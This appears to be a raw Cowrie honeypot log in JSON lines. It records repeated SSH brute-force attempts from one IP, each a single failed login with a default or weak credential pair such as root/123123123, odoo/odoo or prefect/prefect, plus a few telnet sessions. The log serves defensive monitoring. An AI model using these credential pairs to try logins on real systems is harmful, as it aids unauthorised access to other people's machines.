{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38942,"dst_ip":"159.203.135.109","dst_port":22,"session":"77ce6553d6a2","protocol":"ssh","message":"New connection: 192.109.200.237:38942 (159.203.135.109:22) [session: 77ce6553d6a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:15.058593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:15.064795Z","src_ip":"192.109.200.237","session":"77ce6553d6a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:15.151281Z","src_ip":"192.109.200.237","session":"77ce6553d6a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lsfadmin","password":"lsfadmin","message":"login attempt [lsfadmin/lsfadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:15.397789Z","src_ip":"192.109.200.237","session":"77ce6553d6a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:16.487007Z","src_ip":"192.109.200.237","session":"77ce6553d6a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38962,"dst_ip":"159.203.135.109","dst_port":22,"session":"72a85b2db744","protocol":"ssh","message":"New connection: 192.109.200.237:38962 (159.203.135.109:22) [session: 72a85b2db744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:18.394305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:18.398112Z","src_ip":"192.109.200.237","session":"72a85b2db744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:18.480883Z","src_ip":"192.109.200.237","session":"72a85b2db744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:18.730066Z","src_ip":"192.109.200.237","session":"72a85b2db744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:19.824461Z","src_ip":"192.109.200.237","session":"72a85b2db744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46502,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cb80bceb95b","protocol":"ssh","message":"New connection: 192.109.200.237:46502 (159.203.135.109:22) [session: 4cb80bceb95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:21.643957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:21.648739Z","src_ip":"192.109.200.237","session":"4cb80bceb95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:21.735088Z","src_ip":"192.109.200.237","session":"4cb80bceb95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:21.986513Z","src_ip":"192.109.200.237","session":"4cb80bceb95b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.915894508361816,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:22.102064Z","src_ip":"50.6.8.71","session":"0a1e30eaf83b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:23.074820Z","src_ip":"192.109.200.237","session":"4cb80bceb95b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46524,"dst_ip":"159.203.135.109","dst_port":22,"session":"a796eeb34f4c","protocol":"ssh","message":"New connection: 192.109.200.237:46524 (159.203.135.109:22) [session: a796eeb34f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:24.927988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:24.932736Z","src_ip":"192.109.200.237","session":"a796eeb34f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:25.015265Z","src_ip":"192.109.200.237","session":"a796eeb34f4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:25.265103Z","src_ip":"192.109.200.237","session":"a796eeb34f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:26.350345Z","src_ip":"192.109.200.237","session":"a796eeb34f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46536,"dst_ip":"159.203.135.109","dst_port":22,"session":"61724d3efb46","protocol":"ssh","message":"New connection: 192.109.200.237:46536 (159.203.135.109:22) [session: 61724d3efb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:28.289064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:28.319908Z","src_ip":"192.109.200.237","session":"61724d3efb46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:28.375214Z","src_ip":"192.109.200.237","session":"61724d3efb46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:28.694075Z","src_ip":"192.109.200.237","session":"61724d3efb46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:29.778993Z","src_ip":"192.109.200.237","session":"61724d3efb46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51072,"dst_ip":"159.203.135.109","dst_port":22,"session":"c964429fbcad","protocol":"ssh","message":"New connection: 192.109.200.237:51072 (159.203.135.109:22) [session: c964429fbcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:31.641896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:31.647470Z","src_ip":"192.109.200.237","session":"c964429fbcad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:31.730287Z","src_ip":"192.109.200.237","session":"c964429fbcad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345","message":"login attempt [root/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:31.977142Z","src_ip":"192.109.200.237","session":"c964429fbcad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:33.062632Z","src_ip":"192.109.200.237","session":"c964429fbcad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51082,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b46a2e472c","protocol":"ssh","message":"New connection: 192.109.200.237:51082 (159.203.135.109:22) [session: 01b46a2e472c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:34.831810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:34.840629Z","src_ip":"192.109.200.237","session":"01b46a2e472c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:34.922793Z","src_ip":"192.109.200.237","session":"01b46a2e472c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:35.170883Z","src_ip":"192.109.200.237","session":"01b46a2e472c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:36.316829Z","src_ip":"192.109.200.237","session":"01b46a2e472c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51096,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e899cae6855","protocol":"ssh","message":"New connection: 192.109.200.237:51096 (159.203.135.109:22) [session: 0e899cae6855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:38.098704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:38.102849Z","src_ip":"192.109.200.237","session":"0e899cae6855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:38.184688Z","src_ip":"192.109.200.237","session":"0e899cae6855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:38.493575Z","src_ip":"192.109.200.237","session":"0e899cae6855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39692,"dst_ip":"10.17.0.5","dst_port":23,"session":"d854d0e70915","protocol":"telnet","message":"New connection: 50.6.8.71:39692 (10.17.0.5:23) [session: d854d0e70915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:39.461816Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:39.578007Z","src_ip":"192.109.200.237","session":"0e899cae6855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42196,"dst_ip":"159.203.135.109","dst_port":22,"session":"09fa3c9f8225","protocol":"ssh","message":"New connection: 192.109.200.237:42196 (159.203.135.109:22) [session: 09fa3c9f8225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:41.436185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:39:41.440360Z","src_ip":"192.109.200.237","session":"09fa3c9f8225","protocol":"ssh"}
